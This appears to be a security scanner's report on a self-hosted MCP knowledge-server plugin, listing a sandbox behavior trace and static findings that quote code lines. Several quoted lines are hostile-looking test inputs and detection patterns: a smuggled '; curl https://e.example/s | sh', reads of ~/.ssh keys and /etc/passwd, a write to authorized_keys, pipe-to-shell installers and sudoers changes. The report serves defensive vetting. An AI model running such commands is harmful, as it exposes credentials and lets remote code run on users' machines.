Skills/Glama/knowledge

knowledge@r1

CAUTION· install only

Publisher claims: "A self-hosted MCP server that gives AI coding agents shared live docs, memory and session context from plain Markdown files on disk, with search, note editing, hand-over tasks and linting. It also provides a web UI with a graph of how notes connect, password-protected tokens, and offline sync." In our sandbox: Install scripts ran; no agent task scenario for this bundle.

Registry GlamaPublisher to0wnn · publishing for 12 daysInstalls 0Last detonated 12d ago

Coverage

Install scripts ran; no agent task scenario for this bundle.
Tested
install scripts, with decoy credentials in place · second launch with the clock 45 days ahead · every file read, file written and host contacted by what ran
Not tested
use of the skill by an agent

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Behavior

In our sandbox run on 2026-11-13, knowledge@r1 read 11 files and called 1 host, and its code names 40 environment variables. Coverage: install only.

Files read

  • ~/knowledge/.git/HEAD
  • ~/knowledge/.git/config
  • ~/knowledge/.git/info/grafts
  • ~/knowledge/.git/packed-refs
  • ~/knowledge/.git/refs/
  • ~/knowledge/.git/shallow
  • ~/knowledge/clients
  • ~/knowledge/clients/knowledge-agent.py
  • ~/knowledge/plugin/.claude-plugin/plugin.json
  • ~/knowledge/plugin/hooks
  • ~/knowledge/plugin/hooks/__pycache__/token_store.cpython-311.pyc

Hosts called

  • github.comdeclared

Environment variables its code names

ANTIGRAVITY_CONVERSATION_ID, ANTIGRAVITY_CSRF_TOKEN, ANTIGRAVITY_LS_ADDRESS, CLAUDE_CONFIG_DIR, CLAUDE_PLUGIN_OPTION_TOKEN, CLAUDE_PLUGIN_OPTION_URL, CLAUDE_PLUGIN_OPTION_token, CLAUDE_PLUGIN_OPTION_url, CLAUDE_PROJECT_DIR, CODEX_HOME, DISPLAY, GH_TOKEN, GITHUB_TOKEN, GIT_INDEX_FILE, KNOWLEDGE_AGENT_SKILLS, KNOWLEDGE_AGY_PLUGIN, KNOWLEDGE_AGY_PROCESS, KNOWLEDGE_AGY_SKILLS, KNOWLEDGE_ALLOW_REMOVALS, KNOWLEDGE_ANDROID_REPO, KNOWLEDGE_AUTO_UPDATE, KNOWLEDGE_BUILTIN_PROJECTS, KNOWLEDGE_CHAT, KNOWLEDGE_CLAUDE_PROCESS

16 more in behavior.json

Names only, read from the code. We never hold a value.

Tools offered

No tool list recorded.

Changes since the prior version

No prior version with a result to compare.

What we did not test

  • use of the skill by an agent
Run date2026-11-13
Coverageinstall only
Engine1.9.2, script@linux
Reproducenpx -y vet-skills try knowledge
This recordbehavior.json, behavior.md, signed attestation

This is a record of what one version did in the runs we made. It is evidence, not a certificate.

Before you give it your token

It will ask for
ANTIGRAVITY_CSRF_TOKENCLAUDE_PLUGIN_OPTION_tokenCLAUDE_PLUGIN_OPTION_TOKENGH_TOKENGITHUB_TOKENKNOWLEDGE_SECRETS_TSVKNOWLEDGE_TOKENConfiguration, not credentials: ANTIGRAVITY_CONVERSATION_ID, ANTIGRAVITY_LS_ADDRESS, CLAUDE_CONFIG_DIR, CLAUDE_PLUGIN_OPTION_url, CLAUDE_PLUGIN_OPTION_URL, CLAUDE_PROJECT_DIR, CODEX_HOME, DISPLAY, GIT_INDEX_FILE, KN_T, KNOWLEDGE_AGENT_SKILLS, KNOWLEDGE_AGY_PLUGIN, KNOWLEDGE_AGY_PROCESS, KNOWLEDGE_AGY_SKILLS, KNOWLEDGE_ALLOW_REMOVALS, KNOWLEDGE_ANDROID_REPO, KNOWLEDGE_AUTO_UPDATE, KNOWLEDGE_BUILTIN_PROJECTS, KNOWLEDGE_CHAT, KNOWLEDGE_CLAUDE_PROCESS, KNOWLEDGE_CODEX_PROCESS, KNOWLEDGE_COMPANION_ACTIONS_EVERY, KNOWLEDGE_COMPANION_ACTIONS_WAIT, KNOWLEDGE_COMPANION_BIND_WAIT, KNOWLEDGE_COMPANION_DRY_RUN, KNOWLEDGE_COMPANION_EVERY, KNOWLEDGE_COMPANION_PORT, KNOWLEDGE_COMPANION_SCAN_EVERY, KNOWLEDGE_COMPANION_UPDATE_EVERY, KNOWLEDGE_EMBED_MODEL, KNOWLEDGE_EMBED_THREADS, KNOWLEDGE_FORGE_SSH, KNOWLEDGE_GITHUB_API
Where it talks to
no vendor host named in the codeAlso githubusercontent.com, claude.com, microsoft.com, e.example, google.com, x.sh, example.org — not the publisher's domain; check what for before connecting.
What we saw when it ran
no credential files read · reached only github.com
What we could not test
use of the skill by an agent

Connect it with a scoped credential, under the guard, and read the third-party hosts first. The code names githubusercontent.com, claude.com, microsoft.com, e.example, google.com, x.sh, example.org as well as its own vendor. The guard injects ANTIGRAVITY_CSRF_TOKEN, CLAUDE_PLUGIN_OPTION_token, CLAUDE_PLUGIN_OPTION_TOKEN, GH_TOKEN, GITHUB_TOKEN, KNOWLEDGE_SECRETS_TSV, KNOWLEDGE_TOKEN only into requests to the host you bind (and its subdomains) and refuses the rest.

$vet-skills run --net declared -- <the server's command>

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is knowledge@r1 safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; install scripts ran; no agent task scenario for this bundle) on 2026-11-13 and scored it 58/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Access to sensitive file paths; Reads credential paths from the home directory; Privileged sudo command. Summary: sends data to fd12:ea5f:789c:1:5000:26:7c6e:98db, 10.238.152.219.

Behavior trace

Honeypot run · 5 s · 2 scenarios
t+CategoryObserved action
0.0sprocessinstall script run in the sandbox
2.6snetworkdirect connection to fd12:ea5f:789c:1:5000:26:7c6e:98db:0, bypassing the egress proxy · undeclared
2.6snetworkdirect connection to 10.238.152.219:0, bypassing the egress proxy · undeclared
2.6sfilesystemread ~/knowledge/.git/config · ~/knowledge/.git/packed-refs · ~/knowledge/.git/HEAD · ~/knowledge/.git/refs/ · ~/knowledge/.git/info/grafts · ~/knowledge/.git/shallow outside project
2.6sfilesystemwrote ~/knowledge/.git/description · ~/knowledge/.git/info/exclude · ~/knowledge/.git/hooks/pre-rebase.sample · ~/knowledge/.git/hooks/push-to-checkout.sample · ~/knowledge/.git/hooks/pre-merge-commit.sample · ~/knowledge/.git/hooks/update.sample
2.6snetworkCONNECT tcp://github.com:443
2.6sprocessexec /usr/bin/git
2.6sprocessexec /usr/lib/git-core/git
2.6sprocessexec /usr/lib/git-core/git-remote-https
2.6sprocessexec /usr/bin/head
2.6sprocessexec /usr/bin/sed
2.6sprocessexec /app/apps/web/node_modules/.bin/secret-tool
2.6sprocessexec /root/.cache/node/corepack/v1/pnpm/10.28.0/dist/node-gyp-bin/secret-tool
2.6sprocessexec /app/node_modules/.bin/secret-tool
2.6sprocessexec /pnpm/secret-tool
2.6sprocessexec /usr/local/sbin/secret-tool
2.6sprocessexec /usr/local/bin/secret-tool
2.6sprocessexec /usr/sbin/secret-tool
2.6sprocessexec /usr/bin/secret-tool
2.6sprocessexec /sbin/secret-tool
2.6sprocessexec /bin/secret-tool
2.6sprocessexited 1: None of claude, codex or agy is on PATH: install one first, then run this again.
2.6sprocessscript backend runs setup only
2.6sprocessscript backend runs setup only
3.6sprocesssecond launch, clock +45 days, CI unset
4.4sfilesystemread ~/knowledge/plugin/.claude-plugin/plugin.json · ~/knowledge/.git/HEAD · ~/knowledge/clients/knowledge-agent.py · ~/knowledge/clients · ~/knowledge/plugin/hooks · ~/knowledge/plugin/hooks/__pycache__/token_store.cpython-311.pyc outside project
4.4sfilesystemwrote ~/knowledge/.git/objects/maintenance.lock · ~/knowledge/.git/ORIG_HEAD.lock
4.4snetworkCONNECT tcp://github.com:443
4.4sprocessexec /usr/bin/head
4.4sprocessexec /usr/bin/sed
4.4sprocessexec /usr/bin/git
4.4sprocessexec /usr/bin/tr
4.4sprocessexec /usr/lib/git-core/git
4.4sprocessexec /usr/lib/git-core/git-remote-https
4.4sprocessexec /app/apps/web/node_modules/.bin/secret-tool
4.4sprocessexec /root/.cache/node/corepack/v1/pnpm/10.28.0/dist/node-gyp-bin/secret-tool
4.4sprocessexec /app/node_modules/.bin/secret-tool
4.4sprocessexec /pnpm/secret-tool
4.4sprocessexec /usr/local/sbin/secret-tool
4.4sprocessexec /usr/local/bin/secret-tool
4.4sprocessexec /usr/sbin/secret-tool
4.4sprocessexec /usr/bin/secret-tool
4.4sprocessexec /sbin/secret-tool
4.4sprocessexec /bin/secret-tool
4.4sprocessexited 1: None of claude, codex or agy is on PATH: install one first, then run this again.

Static findings

HIGH
Access to sensitive file pathsplugin/hooks/accounts.py:389 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesif (d / ".credentials.json").exists() or sys.platform == "darwin" and info(d).get("kind") == "login":Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
Reads credential paths from the home directoryplugin/hooks/chat.py:2345 · Reads credential paths from the home directorymsgs = [{"method": "item/commandExecution/requestApproval", "id": 10, "params": {"command": "/bin/sh -lc 'cat README.md | tee ~/.ssh/authorized_keys'", "cwd": "/tmp/other",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
HIGH
Privileged sudo commandinstall.sh:14 · Privileged sudo command — agent may execute with elevated privilegescommand -v git >/dev/null 2>&1 || { echo "git is missing: install it (e.g. sudo apt install git, or xcode-select --install), then run this again" >&2; exit 1; }Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/auto_update.py:47 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeprint("knowledge plugin: auto-update is now on for its marketplace, so new versions arrive by themselves "Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
CRITICAL
Reads credential paths from the home directoryplugin/hooks/chat.py:2285 · Reads credential paths from the home directory({"command": "cat sub/../../../etc/passwd"}, True), ({"command": "cat $HOME/.ssh/id"}, True), ({"command": "cat ${HOME}/x"}, True),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
HIGH
Access to sensitive file pathsplugin/hooks/accounts.py:109 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filessecrets = json.loads((MAIN / ".credentials.json").read_text(encoding="utf-8")).get("pluginSecrets")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
Reads credential paths from the home directoryplugin/hooks/watch.py:234 · Reads credential paths from the home directoryassert kinds("cat ~/.ssh/id_ed25519") == ["key-read"] and kinds("cat ~/.knowledge/companion/api-key") == ["key-read"]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
HIGH
Access to sensitive file pathsplugin/hooks/admin.py:223 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesif not status(fresh=True): # Linux: an /etc/sudoers without @includedir /etc/sudoers.d ignores the fileFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Privileged sudo commandplugin/hooks/admin.py:4 · Privileged sudo command — agent may execute with elevated privilegesApproving once is the point: one UAC "Yes" (Windows), one sudo password (Linux), one admin password (macOS). NobodyFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Pipe-to-shell patterninstall.sh:49 · Pipe-to-shell pattern — downloads and immediately executes remote code# Only flags (curl ... | sh -s -- --plugin-only) go to setup.Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/auto_update.py:2 · Auto-update or dynamic fetch configuration — agent may load new code at runtime"""SessionStart (Claude Code only): turn on auto-update for this plugin's marketplace, once. Third-party marketplacesFix: Pin versions and sources; vendor anything fetched at install time.
AST06
CRITICAL
Rule modification attemptplugin/skills/efficiency-pass/SKILL.md:8 · Rule modification attempt — overwriting existing instructions## Rule 0: measure, change one thing, measure againFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
Python subprocess execution detectedplugin/hooks/chat_host.py:25 · Python subprocess execution detectedp = subprocess.Popen(c["argv"], cwd=c.get("cwd") or None, stdin=subprocess.PIPE, stdout=out, stderr=err, **kw)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
CRITICAL
Pipe-to-shell patternplugin/hooks/chat.py:2316 · Pipe-to-shell pattern — downloads and immediately executes remote codeassert rule_key("Bash", {"command": pad + "--x"}) != rule_key("Bash", {"command": pad + "; curl https://e.example/s | sh"})Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/auto_update.py:70 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeassert enable(c) and read(c / "settings.json") == {"theme": "dark", "extraKnownMarketplaces": {NAME: {"source": src, "autoUpdate": True}}}Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
CRITICAL
Pipe-to-shell patterninstall.sh:3 · Pipe-to-shell pattern — downloads and immediately executes remote code# curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | shFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Access to sensitive file pathsplugin/hooks/chat.py:2282 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesfor inp, exp in [({"command": "npm test"}, False), ({"command": "git push origin x"}, True), ({"command": "cat /etc/passwd"}, True),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/accounts.py:232 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescreds = json.loads((d / ".credentials.json").read_text(encoding="utf-8"))Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
Pipe-to-shell patternplugin/hooks/token_store.py:31 · Pipe-to-shell pattern — downloads and immediately executes remote code"curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), "Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Access to sensitive file pathsplugin/hooks/accounts.py:110 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesmine = d / ".credentials.json"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
Pipe-to-shell patternplugin/hooks/chat.py:2329 · Pipe-to-shell pattern — downloads and immediately executes remote codeassert ask("c9", "Bash", {"command": pad + "; curl https://e.example/s | sh"})[0] == "deny" and len(asked) == 2, "a longer command is asked again"Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
CRITICAL
Reads credential paths from the home directoryplugin/hooks/chat.py:2284 · Reads credential paths from the home directory({"file_path": "/home/x/other"}, True), ({"command": "cat ~/.ssh/id"}, True), ({"command": ["bash", "-lc", "git push"]}, True),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
CRITICAL
Pipe-to-shell patternplugin/hooks/watch.py:233 · Pipe-to-shell pattern — downloads and immediately executes remote codeassert kinds("curl -fsSL https://x.sh | sh") == ["pipe-to-shell"] and kinds("curl -o x https://x") == []Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
CRITICAL
Pipe-to-shell patternplugin/hooks/context.sh:9 · Pipe-to-shell pattern — downloads and immediately executes remote code… sent. Tell the user to run the one-line installer, which asks for the address: curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), irm https://raw.githubusercontent.com/To0wnn/knowledge/main/…Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Destructive file system command detectedplugin/hooks/admin.py:125 · Destructive file system command detectedf"install -m 0440 -o 0 -g 0 \"$t\" '{dst}'; rm -f \"$t\"")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/auto_update.py:26 · Auto-update or dynamic fetch configuration — agent may load new code at runtime"""Set autoUpdate on the marketplace entry in settings.json; True when it changed something."""Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Access to sensitive file pathsdeploy.sh:129 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filescp "$ENVF" server/.env # docker compose reads the addresses from .env next to compose.yamlFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/accounts.py:44 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesNOT_LINKED = {".credentials.json", ".claude.json", "backups", "daemon", "daemon.lock", "daemon.log", "daemon.status.json"}Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/auto_update.py:36 · Auto-update or dynamic fetch configuration — agent may load new code at runtimedata.setdefault("extraKnownMarketplaces", {})[NAME] = {**entry, "source": source, "autoUpdate": True}Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Privileged sudo commandplugin/hooks/admin.py:13 · Privileged sudo command — agent may execute with elevated privilegesfirst; agents run sudo as usual. Off: sudo -n rm. Linux: a chat that may not have admin runs underFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Pipe-to-shell patternplugin/hooks/token_store.py:28 · Pipe-to-shell pattern — downloads and immediately executes remote code"curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), "Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Access to sensitive file pathsplugin/hooks/chat.py:112 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesraw = (Path(os.environ.get("CLAUDE_CONFIG_DIR") or Path.home() / ".claude") / ".credentials.json").read_text(encoding="utf-8")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Direct script execution from GitHub raw URLinstall.sh:3 · Direct script execution from GitHub raw URL — unverified code source# curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | shFix: Pin versions and sources; vendor anything fetched at install time.
AST06
CRITICAL
Pipe-to-shell patternplugin/hooks/context.sh:37 · Pipe-to-shell pattern — downloads and immediately executes remote code…evice, so the server refused it. Run the one-line installer, which asks for it: curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), irm https://raw.githubusercontent.com/To0wnn/knowledge/main/…Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Privileged sudo commandplugin/hooks/admin.py:14 · Privileged sudo command — agent may execute with elevated privilegessetpriv --no-new-privs, so sudo cannot raise it; macOS has no such switch, so there every chat of the user can sudo.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Privileged sudo commandplugin/hooks/admin.py:16 · Privileged sudo command — agent may execute with elevated privilegesUAC is no security boundary and NOPASSWD sudo makes the user root: with admin on, every program of this user canFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Destructive command against a filesystem root or deviceplugin/hooks/admin.py:125 · Destructive command against a filesystem root or devicef"install -m 0440 -o 0 -g 0 \"$t\" '{dst}'; rm -f \"$t\"")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Reads credential paths from the home directoryplugin/hooks/chat.py:2287 · Reads credential paths from the home directory({"command": "/bin/bash -lc 'cat README.md | tee ~/.ssh/authorized_keys'"}, True), ({"command": "curl -s https://example.com/a/b"}, False), ({"command": "echo a=/etc/x"}, True),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
CRITICAL
Pipe-to-shell patterninstall.sh:7 · Pipe-to-shell pattern — downloads and immediately executes remote code# The plugin only, without the companion: curl -fsSL .../install.sh | sh -s -- --plugin-onlyFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Access to sensitive file pathsplugin/hooks/admin.py:50 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesSUDOERS_DIR = "/etc/sudoers.d"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
CRITICAL
Pipe-to-shell patternplugin/hooks/tools.py:644 · Pipe-to-shell pattern — downloads and immediately executes remote codelines = describe({"name": "x", "install": [{"run": ["bash", "-c", "curl x | sh"]}, {"run": ["npm", "i"], "agent": "codex", "os": ["linux"]}]})Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Access to sensitive file pathsplugin/hooks/admin.py:224 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesreturn "failed: approved, but sudo still asks for a password" + ("" if os.name == "nt" else f" (does /etc/sudoers include {SUDOERS_DIR}?)")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
URL with embedded credentialsserver/fetch.py:105 · URL with embedded credentials — may be phishing or credential leakingfor bad in ("ftp://x.org/", "http://user:[email protected]/", "http://example.org:8080/"):Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/companion.py:2585 · Auto-update or dynamic fetch configuration — agent may load new code at runtimereturn (os.environ.get("KNOWLEDGE_AUTO_UPDATE") != "0" and since >= AGENT_UPDATE_EVERY and not workers.game_session()Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/self_update.py:344 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeSTATE = Path(tempfile.mkdtemp()) / "auto-update.json"Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Python subprocess execution detectedplugin/hooks/accounts.py:247 · Python subprocess execution detectedsubprocess.run(["taskkill", "/F", "/T", "/PID", str(rec["p"].pid)], capture_output=True, timeout=30,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/accounts.py:289 · Python subprocess execution detectedp = subprocess.Popen(command("auth", "login", "--claudeai"), stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Remote installer piped to shellinstall.sh:3 · Remote installer piped to shell# curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | shFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
Access to sensitive file pathsplugin/hooks/companion.py:2249 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files# on Windows a colon names a file's alternate data stream (.env::$DATA is .env)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/workers.py:71 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"""A new worktree has no .env and the like, so a worker cannot run the project. The repository's .worktreeinclude saysFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/companion.py:2227 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files# linked on this pc (symlinks resolved), never git's own files, .env files or keys.Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/self_update.py:30 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeSTATE = Path(os.environ.get("KNOWLEDGE_HOME") or Path.home() / ".knowledge") / "auto-update.json" # next to the offline copy (memory_mirror.py)Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/self_update.py:5 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeagent's own CLI; the new version loads at the next start. The session context says it once when auto-update is on,Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Access to sensitive file pathscompose.yaml:2 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files# mkdir data && echo "KNOWLEDGE_UI_PASSWORD=<a long password>" > .env && docker compose up -dFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/self_update.py:349 · Auto-update or dynamic fetch configuration — agent may load new code at runtimeassert "auto-update is on for agy" in first and started == ["agy"], firstFix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Access to sensitive file pathsplugin/hooks/chat.py:2285 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files({"command": "cat sub/../../../etc/passwd"}, True), ({"command": "cat $HOME/.ssh/id"}, True), ({"command": "cat ${HOME}/x"}, True),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Remote installer piped to shellinstall.sh:49 · Remote installer piped to shell# Only flags (curl ... | sh -s -- --plugin-only) go to setup.Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
Direct script execution from GitHub raw URLplugin/hooks/context.sh:37 · Direct script execution from GitHub raw URL — unverified code source…he server refused it. Run the one-line installer, which asks for it: curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), irm https://raw.githubusercontent.com/To0wnn/knowledge/mai…Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Remote installer piped to shellinstall.sh:7 · Remote installer piped to shell# The plugin only, without the companion: curl -fsSL .../install.sh | sh -s -- --plugin-onlyFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
Access to sensitive file pathsplugin/skills/project-setup/SKILL.md:12 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files2. **git**: `git init` when needed; a `.gitignore` for the stack plus `.env`, virtualenvs, `node_modules/`, data andFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/admin.py:212 · Python subprocess execution detectedgot = "ok" if subprocess.run(["sudo", "sh", "-c", install_script()]).returncode == 0 else "failed: sudo"Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/token_store.py:147 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesreturn json.loads((home / ".credentials.json").read_text(encoding="utf-8"))["pluginSecrets"]["knowledge@knowledge"]["token"]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
File permission modification commanddeploy.sh:131 · File permission modification command — agent changes file ownership/permissionsssh "$KNOWLEDGE_FORGE_SSH" "mkdir -p $STACK /root/docker/knowledge/config /root/docker/knowledge/state && chown 1000:1000 /root/docker/knowledge/state"Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/accounts.py:392 · Python subprocess execution detectedsubprocess.run(command("auth", "logout"), capture_output=True, timeout=30, env={**e, "CLAUDE_CONFIG_DIR": str(d)})Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/workers.py:651 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system fileswork(".gitignore", ".env\n", "chore: ignore .env", where=repo)Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/watch.py:234 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert kinds("cat ~/.ssh/id_ed25519") == ["key-read"] and kinds("cat ~/.knowledge/companion/api-key") == ["key-read"]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/chat.py:2284 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files({"file_path": "/home/x/other"}, True), ({"command": "cat ~/.ssh/id"}, True), ({"command": ["bash", "-lc", "git push"]}, True),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathscompose.yaml:32 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files# Optional: sign in through a reverse proxy with forward auth instead (docs/server.md, Settings in .env).Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Hidden zero-width characters detectedserver/rerank.py:27 · Hidden zero-width characters detected — may conceal contentFRONT = re.compile(r"\A?---\r?\n.*?\r?\n---\r?\n", re.S) # \r: files written on WindowsFix: Keep SKILL.md to visible, descriptive text. Remove comments and encoded text that address the agent.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/chat_host.py:31 · Python subprocess execution detectedsubprocess.run(["taskkill", "/T", "/F", "/PID", str(p.pid)], capture_output=True, timeout=30)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/admin.py:70 · Python subprocess execution detectedreturn subprocess.run(argv, capture_output=True, text=True, timeout=timeout, stdin=subprocess.DEVNULL, **kw)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Direct script execution from GitHub raw URLplugin/hooks/token_store.py:28 · Direct script execution from GitHub raw URL — unverified code source"curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), "Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
